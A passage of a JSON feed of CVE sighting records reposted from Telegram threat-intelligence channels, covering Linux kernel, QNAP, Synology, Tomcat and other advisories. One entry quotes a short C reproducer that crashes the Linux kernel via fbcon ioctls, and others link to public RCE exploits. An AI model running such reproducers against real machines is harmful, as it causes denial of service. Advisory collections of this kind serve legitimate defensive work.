uses different code that doesn't\nzap stuff under rmap locks.  File THP is gated on an experimental config\nflag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need\nshmem THP to hit this bug.  As far as I know, getting shmem THP normally\nrequires that you can mount your own tmpfs with the right mount flags,\nwhich would require creating your own user+mount namespace; though I don't\nknow if some distros maybe enable shmem THP by default or something like\nthat.\n\nBug impact: This issue can likely be used for user->kernel privilege\nescalation when it is reachable.\n\ud83d\udccf Published: 2024-10-23T05:20:37.942Z\n\ud83d\udccf Modified: 2025-03-07T16:19:11.266Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/17396e32f975130b3e6251f024c8807d192e4c3e\n2. https://git.kernel.org/stable/c/1552ce9ce8af47c0fe911682e5e1855e25851ca9\n3. https://git.kernel.org/stable/c/6fa1066fc5d00cb9f1b0e83b7ff6ef98d26ba2aa\n4. https://project-zero.issues.chromium.org/issues/371047675", "creation_timestamp": "2025-03-07T16:35:19.000000Z"}, {"uuid": "f3243dbe-3032-4a7f-809c-7684bd3e7453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50394", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6862", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50394\n\ud83d\udd25 CVSS Score: 7.7 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: An improper certificate validation vulnerability has been reported to affect Helpdesk. If exploited, the vulnerability could allow remote attackers to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nHelpdesk 3.3.3 and later\n\ud83d\udccf Published: 2025-03-07T16:13:11.034Z\n\ud83d\udccf Modified: 2025-03-07T16:13:11.034Z\n\ud83d\udd17 References:\n1. https://www.qnap.com/en/security-advisory/qsa-25-05", "creation_timestamp": "2025-03-07T16:35:32.000000Z"}, {"uuid": "b67c1275-ba83-4a6f-96a2-0de06126ffa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50405", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6861", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50405\n\ud83d\udd25 CVSS Score: 5.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: An improper neutralization of CRLF sequences ('CRLF Injection') vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to modify application data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.3.3006 build 20250108 and later\nQuTS hero h5.2.3.3006 build 20250108 and later\n\ud83d\udccf Published: 2025-03-07T16:13:17.099Z\n\ud83d\udccf Modified: 2025-03-07T16:13:17.099Z\n\ud83d\udd17 References:\n1. https://www.qnap.com/en/security-advisory/qsa-24-54", "creation_timestamp": "2025-03-07T16:35:31.000000Z"}, {"uuid": "a399766f-2a1a-4124-a1ee-1a02ff4b6985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5003", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7574", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5003\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP Stacker WordPress plugin through 1.8.5 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack\n\ud83d\udccf Published: 2024-06-07T06:00:03.057Z\n\ud83d\udccf Modified: 2025-03-14T15:37:17.542Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/1d7d0372-bbc5-40b2-a668-253c819415c4/", "creation_timestamp": "2025-03-14T15:43:25.000000Z"}, {"uuid": "79771fc1-defe-4e50-996b-fc0b60418bbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50955", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7470", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50955\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in how XINJE XD5E-24R and XL5E-16T v3.5.3b handles TCP protocol messages allows attackers to cause a Denial of Service (DoS) via a crafted TCP message.\n\ud83d\udccf Published: 2024-11-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-13T18:32:48.715Z\n\ud83d\udd17 References:\n1. https://github.com/Curator-Kim/Vulnerability-mining/blob/master/XINJE%20XD5E-24R%20XL5E-16T%20TCP%20DoS/XINJE%20XD5E-24R%20XL5E-16T%20TCP%20DoS.md", "creation_timestamp": "2025-03-13T18:42:32.000000Z"}, {"uuid": "04796aa3-b8a7-4cfb-8f90-e085720404da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50629", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8030", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50629\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: Improper encoding or escaping of output vulnerability in the webapi component in Synology BeeStation Manager (BSM) before 1.1-65374, Synology DiskStation Manager (DSM) before 6.2.4-25556-8, 7.1.1-42962-7, 7.2-64570-4, 7.2.1-69057-6 and 7.2.2-72806-1 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to read limited files via unspecified vectors.\n\ud83d\udccf Published: 2025-03-19T05:49:56.438Z\n\ud83d\udccf Modified: 2025-03-19T05:49:56.438Z\n\ud83d\udd17 References:\n1. https://www.synology.com/en-global/security/advisory/Synology_SA_24_20\n2. https://www.synology.com/en-global/security/advisory/Synology_SA_24_23", "creation_timestamp": "2025-03-19T06:52:08.000000Z"}, {"uuid": "73c681a2-01e6-4593-9d87-4b7ed0026f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50630", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8029", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50630\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Missing authentication for critical function vulnerability in the webapi component in Synology Drive Server before 3.0.4-12699, 3.2.1-23280, 3.5.0-26085 and 3.5.1-26102 allows remote attackers to obtain administrator credentials via unspecified vectors.\n\ud83d\udccf Published: 2025-03-19T05:50:05.059Z\n\ud83d\udccf Modified: 2025-03-19T05:50:05.059Z\n\ud83d\udd17 References:\n1. https://www.synology.com/en-global/security/advisory/Synology_SA_24_21", "creation_timestamp": "2025-03-19T06:52:07.000000Z"}, {"uuid": "6032a6f8-14de-4801-938a-4d705cb6bf38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50631", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8028", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50631\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: Improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability in the system syncing daemon in Synology Drive Server before 3.0.4-12699, 3.2.1-23280, 3.5.0-26085 and 3.5.1-26102 allows remote attackers to inject SQL commands, limited to write operations, via unspecified vectors.\n\ud83d\udccf Published: 2025-03-19T05:50:08.565Z\n\ud83d\udccf Modified: 2025-03-19T05:50:08.565Z\n\ud83d\udd17 References:\n1. https://www.synology.com/en-global/security/advisory/Synology_SA_24_21", "creation_timestamp": "2025-03-19T06:52:07.000000Z"}, {"uuid": "9d4bda40-9486-46c9-a469-d7406ba853c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50629", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9037", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50629\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: Improper encoding or escaping of output vulnerability in the webapi component in Synology BeeStation OS (BSM) before 1.1-65374 and Synology DiskStation Manager (DSM) before 7.1.1-42962-7, 7.2-64570-4, 7.2.1-69057-6 and 7.2.2-72806-1 allow remote attackers to read limited files via unspecified vectors.\n\ud83d\udccf Published: 2025-03-19T05:49:56.438Z\n\ud83d\udccf Modified: 2025-03-27T09:01:56.635Z\n\ud83d\udd17 References:\n1. https://www.synology.com/en-global/security/advisory/Synology_SA_24_20\n2. https://www.synology.com/en-global/security/advisory/Synology_SA_24_23", "creation_timestamp": "2025-03-27T09:26:59.000000Z"}, {"uuid": "abf7a3d6-42e6-4ce3-921a-1a47368725d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50656", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8118", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50656\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: itsourcecode Placement Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via the Full Name field in registration.php.\n\ud83d\udccf Published: 2025-02-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-19T17:49:55.263Z\n\ud83d\udd17 References:\n1. https://itsourcecode.com/free-projects/php-project/placement-management-system-project-in-php-with-source-code/\n2. https://github.com/riya98241/CVE/blob/main/CVE-2024-50656", "creation_timestamp": "2025-03-19T18:19:40.000000Z"}, {"uuid": "bb3cf92a-e13c-4b90-b0fa-045dd153008c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50053", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8316", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50053\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N)\n\ud83d\udd39 Description: Zohocorp ManageEngine ServiceDesk Plus versions\u00a0below\u00a014920\u00a0, ServiceDesk Plus MSP and SupportCentre Plus versions below\u00a014910 are vulnerable to Stored XSS in the task feature.\n\ud83d\udccf Published: 2025-03-21T06:01:39.945Z\n\ud83d\udccf Modified: 2025-03-21T06:01:39.945Z\n\ud83d\udd17 References:\n1. https://www.manageengine.com/products/service-desk/CVE-2024-50053.html", "creation_timestamp": "2025-03-21T06:21:42.000000Z"}, {"uuid": "66ade846-9db4-4cb5-989c-0820780cc280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8170", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50379\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability during JSP compilation in Apache Tomcat permits an RCE on case insensitive file systems when the default servlet is enabled for write (non-default configuration).\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.1, from 10.1.0-M1 through 10.1.33, from 9.0.0.M1 through 9.0.97.\n\nUsers are recommended to upgrade to version 11.0.2, 10.1.34 or 9.0.98, which fixes the issue.\n\ud83d\udccf Published: 2024-12-17T12:34:54.827Z\n\ud83d\udccf Modified: 2025-03-20T03:55:50.524Z\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r", "creation_timestamp": "2025-03-20T04:18:31.000000Z"}, {"uuid": "cbbb7901-5651-4216-8cff-12f66572e9e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5051", "type": "seen", "source": "Telegram/hsXTP6quqWssFdjmhwnXZ72csfp2fhQ8MlE33JR9Q8rByZET", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "dc2e57fa-e728-4667-a846-2022476a851f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50602", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10585", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50602\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in libexpat before 2.6.4. There is a crash within the XML_ResumeParser function because XML_StopParser can stop/suspend an unstarted parser.\n\ud83d\udccf Published: 2024-10-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T23:03:06.084Z\n\ud83d\udd17 References:\n1. https://github.com/libexpat/libexpat/pull/915", "creation_timestamp": "2025-04-04T23:37:48.000000Z"}, {"uuid": "b5b34321-39a2-44f6-9cf8-b558cd60c848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5042", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10650", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-5042\n\ud83d\udd25 CVSS Score: 6.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in the Submariner project. Due to unnecessary role-based access control permissions, a privileged attacker can run a malicious container on a node that may allow them to steal service account tokens and further compromise other nodes and potentially the entire cluster.\n\ud83d\udccf Published: 2024-05-17T13:12:00.551Z\n\ud83d\udccf Modified: 2025-04-07T01:33:36.316Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:4591\n2. https://access.redhat.com/security/cve/CVE-2024-5042\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2280921\n4. https://github.com/advisories/GHSA-2rhx-qhxp-5jpw", "creation_timestamp": "2025-04-07T01:44:19.000000Z"}, {"uuid": "72f917b4-0505-41b2-b1aa-98485ad775e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50056", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10684", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50056\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: uvc: Fix ERR_PTR dereference in uvc_v4l2.c\n\nFix potential dereferencing of ERR_PTR() in find_format_by_pix()\nand uvc_v4l2_enum_format().\n\nFix the following smatch errors:\n\ndrivers/usb/gadget/function/uvc_v4l2.c:124 find_format_by_pix()\nerror: 'fmtdesc' dereferencing possible ERR_PTR()\n\ndrivers/usb/gadget/function/uvc_v4l2.c:392 uvc_v4l2_enum_format()\nerror: 'fmtdesc' dereferencing possible ERR_PTR()\n\nAlso, fix similar issue in uvc_v4l2_try_format() for potential\ndereferencing of ERR_PTR().\n\ud83d\udccf Published: 2024-10-21T19:39:47.131Z\n\ud83d\udccf Modified: 2025-04-07T08:36:53.929Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/03fa71e97e9bb116993ec1d51b8a6fe776db0984\n2. https://git.kernel.org/stable/c/72a68d2bede3284b95ee93a5ab3a81758bba95b0\n3. https://git.kernel.org/stable/c/cedeb36c3ff4acd0f3d09918dfd8ed1df05efdd6\n4. https://git.kernel.org/stable/c/a7bb96b18864225a694e3887ac2733159489e4b0", "creation_timestamp": "2025-04-07T08:44:51.000000Z"}, {"uuid": "dd05c67a-b401-44de-b1b6-785251edd145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50137", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10683", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50137\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nreset: starfive: jh71x0: Fix accessing the empty member on JH7110 SoC\n\ndata->asserted will be NULL on JH7110 SoC since commit 82327b127d41\n(\"reset: starfive: Add StarFive JH7110 reset driver\") was added. Add\nthe judgment condition to avoid errors when calling reset_control_status\non JH7110 SoC.\n\ud83d\udccf Published: 2024-11-05T17:11:00.861Z\n\ud83d\udccf Modified: 2025-04-07T08:36:55.150Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/3918b2016d28c9b2bddd5ab194ab366a4e2310f5\n2. https://git.kernel.org/stable/c/c923f1fb8ae8627322d167b73bb4f978404a05de\n3. https://git.kernel.org/stable/c/2cf59663660799ce16f4dfbed97cdceac7a7fa11", "creation_timestamp": "2025-04-07T08:44:50.000000Z"}, {"uuid": "55eec153-2ca5-49d6-adf6-73d7763b9db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50063", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13400", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50063\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Prevent tail call between progs attached to different hooks\n\nbpf progs can be attached to kernel functions, and the attached functions\ncan take different parameters or return different return values. If\nprog attached to one kernel function tail calls prog attached to another\nkernel function, the ctx access or return value verification could be\nbypassed.\n\nFor example, if prog1 is attached to func1 which takes only 1 parameter\nand prog2 is attached to func2 which takes two parameters. Since verifier\nassumes the bpf ctx passed to prog2 is constructed based on func2's\nprototype, verifier allows prog2 to access the second parameter from\nthe bpf ctx passed to it. The problem is that verifier does not prevent\nprog1 from passing its bpf ctx to prog2 via tail call. In this case,\nthe bpf ctx passed to prog2 is constructed from func1 instead of func2,\nthat is, the assumption for ctx access verification is bypassed.\n\nAnother example, if BPF LSM prog1 is attached to hook file_alloc_security,\nand BPF LSM prog2 is attached to hook bpf_lsm_audit_rule_known. Verifier\nknows the return value rules for these two hooks, e.g. it is legal for\nbpf_lsm_audit_rule_known to return positive number 1, and it is illegal\nfor file_alloc_security to return positive number. So verifier allows\nprog2 to return positive number 1, but does not allow prog1 to return\npositive number. The problem is that verifier does not prevent prog1\nfrom calling prog2 via tail call. In this case, prog2's return value 1\nwill be used as the return value for prog1's hook file_alloc_security.\nThat is, the return value rule is bypassed.\n\nThis patch adds restriction for tail call to prevent such bypasses.\n\ud83d\udccf Published: 2024-10-21T19:39:51.718Z\n\ud83d\udccf Modified: 2025-04-25T10:06:42.681Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/d9a807fb7cbfad4328824186e2e4bee28f72169b\n2. https://git.kernel.org/stable/c/5d5e3b4cbe8ee16b7bf96fd73a421c92a9da3ca1\n3. https://git.kernel.org/stable/c/88c2a10e6c176c2860cd0659f4c0e9d20b3f64d1\n4. https://git.kernel.org/stable/c/28ead3eaabc16ecc907cfb71876da028080f6356", "creation_timestamp": "2025-04-25T11:07:43.000000Z"}, {"uuid": "b823ca37-09ab-482c-8b94-f6414a444b18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50048", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16646", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50048\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nfbcon: Fix a NULL pointer dereference issue in fbcon_putcs\n\nsyzbot has found a NULL pointer dereference bug in fbcon.\nHere is the simplified C reproducer:\n\nstruct param {\n uint8_t type;\n struct tiocl_selection ts;\n};\n\nint main()\n{\n struct fb_con2fbmap con2fb;\n struct param param;\n\n int fd = open(\"/dev/fb1\", 0, 0);\n\n con2fb.console = 0x19;\n con2fb.framebuffer = 0;\n ioctl(fd, FBIOPUT_CON2FBMAP, &con2fb);\n\n param.type = 2;\n param.ts.xs = 0; param.ts.ys = 0;\n param.ts.xe = 0; param.ts.ye = 0;\n param.ts.sel_mode = 0;\n\n int fd1 = open(\"/dev/tty1\", O_RDWR, 0);\n ioctl(fd1, TIOCLINUX, &param);\n\n con2fb.console = 1;\n con2fb.framebuffer = 0;\n ioctl(fd, FBIOPUT_CON2FBMAP, &con2fb);\n\n return 0;\n}\n\nAfter calling ioctl(fd1, TIOCLINUX, &param), the subsequent ioctl(fd, FBIOPUT_CON2FBMAP, &con2fb)\ncauses the kernel to follow a different execution path:\n\n set_con2fb_map\n  -> con2fb_init_display\n   -> fbcon_set_disp\n    -> redraw_screen\n     -> hide_cursor\n      -> clear_selection\n       -> highlight\n        -> invert_screen\n         -> do_update_region\n          -> fbcon_putcs\n           -> ops->putcs\n\nSince ops->putcs is a NULL pointer, this leads to a kernel panic.\nTo prevent this, we need to call set_blitting_type() within set_con2fb_map()\nto properly initialize ops->putcs.\n\ud83d\udccf Published: 2024-10-21T19:39:45.146Z\n\ud83d\udccf Modified: 2025-05-16T07:25:10.799Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/8266ae6eafdcd5a3136592445ff4038bbc7ee80e\n2. https://git.kernel.org/stable/c/f7fb5dda555344529ce584ff7a28b109528d2f1b\n3. https://git.kernel.org/stable/c/e5c2dba62996a3a6eeb34bd248b90fc69c5a6a1b\n4. https://git.kernel.org/stable/c/5b97eebcce1b4f3f07a71f635d6aa3af96c236e7", "creation_timestamp": "2025-05-16T07:33:57.000000Z"}, {"uuid": "420a3bef-e0e0-4fdf-9e16-a3530af70922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50049", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16645", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50049\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Check null pointer before dereferencing se\n\n[WHAT & HOW]\nse is null checked previously in the same function, indicating\nit might be null; therefore, it must be checked when used again.\n\nThis fixes 1 FORWARD_NULL issue reported by Coverity.\n\ud83d\udccf Published: 2024-10-21T19:39:45.821Z\n\ud83d\udccf Modified: 2025-05-16T07:25:12.029Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/f4149eec960110ffd5bcb161075dd9f1d7773075\n2. https://git.kernel.org/stable/c/c643ef59390e49f1dfab35e8ea65f5db5e527d64\n3. https://git.kernel.org/stable/c/97a79933fb08a002ba9400d1a7a5df707ecdb896\n4. https://git.kernel.org/stable/c/65b2d49e55fe13ae56da3a7685bdccadca31134a\n5. https://git.kernel.org/stable/c/a9b4fd1946678fa0e069e442f3c5a7d3fa446fac\n6. https://git.kernel.org/stable/c/ff599ef6970ee000fa5bc38d02fa5ff5f3fc7575", "creation_timestamp": "2025-05-16T07:33:56.000000Z"}, {"uuid": "f369b856-7502-4403-a98a-2c47df571cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50108", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16644", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50108\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Disable PSR-SU on Parade 08-01 TCON too\n\nStuart Hayhurst has found that both at bootup and fullscreen VA-API video\nis leading to black screens for around 1 second and kernel WARNING [1] traces\nwhen calling dmub_psr_enable() with Parade 08-01 TCON.\n\nThese symptoms all go away with PSR-SU disabled for this TCON, so disable\nit for now while DMUB traces [2] from the failure can be analyzed and the failure\nstate properly root caused.\n\n(cherry picked from commit afb634a6823d8d9db23c5fb04f79c5549349628b)\n\ud83d\udccf Published: 2024-11-05T17:10:42.045Z\n\ud83d\udccf Modified: 2025-05-16T07:25:13.290Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/5660bcc4dd533005248577d5042f1c48cce2b443\n2. https://git.kernel.org/stable/c/c79e0a18e4b301401bb745702830be9041cfbf04\n3. https://git.kernel.org/stable/c/fc6afa07b5e251148fb37600ee06e1a7007178c3\n4. https://git.kernel.org/stable/c/ba1959f71117b27f3099ee789e0815360b4081dd", "creation_timestamp": "2025-05-16T07:33:52.000000Z"}, {"uuid": "03a5a176-e7ac-426c-a8f5-860cecece58c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50629", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/61117", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aN-day Exploit for Synology BeeStation RCE by DEVCORE (Pwn2Own 2024)\nURL\uff1ahttps://github.com/kiddo-pwn/CVE-2024-50629_50631\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-11-29T14:13:45.000000Z"}, {"uuid": "982b421f-1ebb-4888-b9e9-213c41c3da22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "published-proof-of-concept", "source": "https://t.me/haccking/12352", "content": "Kernel-hack-drill \u0438 \u043d\u043e\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2024-50264 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n#\u0441\u0442\u0430\u0442\u044c\u044f #exploit #linux\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u044b \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0433\u043e\u043d\u043a\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0441\u0431\u043e\u044f\u043c 